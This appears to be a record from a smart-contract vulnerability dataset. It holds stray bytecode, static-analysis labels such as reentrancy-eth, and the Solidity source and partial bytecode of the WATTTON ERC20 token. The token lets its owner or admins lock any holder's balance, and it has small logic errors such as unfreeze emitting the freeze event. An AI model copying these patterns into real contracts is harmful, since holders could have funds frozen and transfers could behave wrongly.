6157600080fd5b818401915084601f83011261187557600080fd5b81358181111561188757611887611821565b604051601f8201601f19908116603f011681019083821181831017156118af576118af611821565b816040528281528760208487010111156118c857600080fd5b826020860160208301376000928101602001929092525095945050505050565b600080604083850312156118fb57600080fd5b50508035926020909101359150565b6000806040838503121561191d57600080fd5b823561192881611769565b9150602083013561193881611769565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061198c57607f821691505b602082108114156119ad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156119db576119db6119b3565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a0857600080fd5b815161100b81611769565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a635784516001600160a01b031683529383019391830191600101611a3e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9757611a976119b3565b500190565b600082611ab957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ad857611ad86119b3565b500290565b600080600060608486031215611af257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b85e8d4ed6a2a5fd14e78fa0b9d6ec19f22245568209b51821f770b70f1dffba64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,449 |
0xE67F943af5Eb6051ef56f05979cc30B732717fa6
|
/**
*Submitted for verification at Etherscan.io on 2020-11-24
*/
pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) public freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract Wattton is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private constant _symbol = "WATT";
string private constant _name = "WATTTON";
uint8 private constant _decimals = 4;
uint256 private constant TOTAL_SUPPLY = 7880000000*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function transferList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function() public payable {
revert();
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd146102595780631d5397641461028457806323b872dd146102d7578063313ce5671461035c5780633f4ba83a1461038d57806342966c68146103a45780634d253b50146103d15780635a46d3b5146104145780635c975abb1461046b57806363a846f81461049a57806366188463146104f55780636623fc461461055a578063704b6c021461058757806370a08231146105ca5780638456cb5914610621578063859bc2f3146106385780638da5cb5b1461068b57806395d89b41146106e2578063a9059cbb14610772578063b0fc29e6146107d7578063cd4217c114610824578063d73dd6231461087b578063d7a78db8146108e0578063dd62ed3e1461090d578063f2fde38b14610984575b600080fd5b34801561017057600080fd5b506101796109c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a65565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610c7b565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102d5600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050610c85565b005b3480156102e357600080fd5b50610342600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611097565b604051808215151515815260200191505060405180910390f35b34801561036857600080fd5b50610371611756565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039957600080fd5b506103a2611769565b005b3480156103b057600080fd5b506103cf60048036038101908080359060200190929190505050611921565b005b3480156103dd57600080fd5b50610412600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b34801561042057600080fd5b50610455600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e26565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b50610480611e6f565b604051808215151515815260200191505060405180910390f35b3480156104a657600080fd5b506104db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e82565b604051808215151515815260200191505060405180910390f35b34801561050157600080fd5b50610540600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ea2565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061058560048036038101908080359060200190929190505050612134565b005b34801561059357600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b6565b005b3480156105d657600080fd5b5061060b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061276b565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b506106366127b3565b005b34801561064457600080fd5b5061068960048036038101908080359060200190820180359060200191909192939192939080359060200190820180359060200191909192939192939050505061296c565b005b34801561069757600080fd5b506106a0612de6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ee57600080fd5b506106f7612e0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073757808201518184015260208101905061071c565b50505050905090810190601f1680156107645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077e57600080fd5b506107bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612eaa565b604051808215151515815260200191505060405180910390f35b3480156107e357600080fd5b50610822600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613070565b005b34801561083057600080fd5b50610865600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334b565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b506108c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613363565b604051808215151515815260200191505060405180910390f35b3480156108ec57600080fd5b5061090b6004803603810190808035906020019092919050505061355f565b005b34801561091957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506137de565b6040518082815260200191505060405180910390f35b34801561099057600080fd5b506109c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613865565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a5d5780601f10610a3257610100808354040283529160200191610a5d565b820191906000526020600020905b815481529060010190602001808311610a4057829003601f168201915b505050505081565b600080821480610af157506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b8b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7481526020017f20746f20617070726f76652e000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d33575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610dcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b8282905085859050141515610e96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b8484905081101561109057600073ffffffffffffffffffffffffffffffffffffffff168585838181101515610ecc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610f75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b8282828181101515610f8357fe5b90506020020135600b60008787858181101515610f9c57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848482818110151561100557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3848484818110151561106757fe5b905060200201356040518082815260200191505060405180910390a28080600101915050610e9b565b5050505050565b6000600a60009054906101000a900460ff1615151561111e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161180156111865750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16115b15156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156112c4575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611384576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611415836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b101515156114b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b611502826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611595826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166682600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff1615156118d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4974206973206e6f74207061757365642e00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611a5d816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab481600154613bb790919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514158015611d0b57508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001807f5468697320697320616e206578697374696e672061646d696e2077616c6c657481526020017f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722081526020017f77616c6c65742e0000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611fb4576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612048565b611fc78382613bb790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561221f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260598152602001807f546865206e756d62657220746f2062652070726f636573736564206973206d6f81526020017f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686581526020017f206e756d6265722063757272656e746c792066726f7a656e2e0000000000000081525060600191505060405180910390fd5b612373816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240781600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245f81600154613c3c90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415801561265057508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d8152602001807f4974206973206e6f7420616e206578697374696e672061646d696e697374726181526020017f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207481526020017f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e00000081525060600191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561289e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff16151515612923576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b6001600a60006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a1a575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612ab4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b8282905085859050141515612b7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b84849050811015612ddf57612bf28383838181101515612b9e57fe5b905060200201356000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cc38383838181101515612c4557fe5b905060200201356000808888868181101515612c5d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b6000808787858181101515612cd457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508484828181101515612d3d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110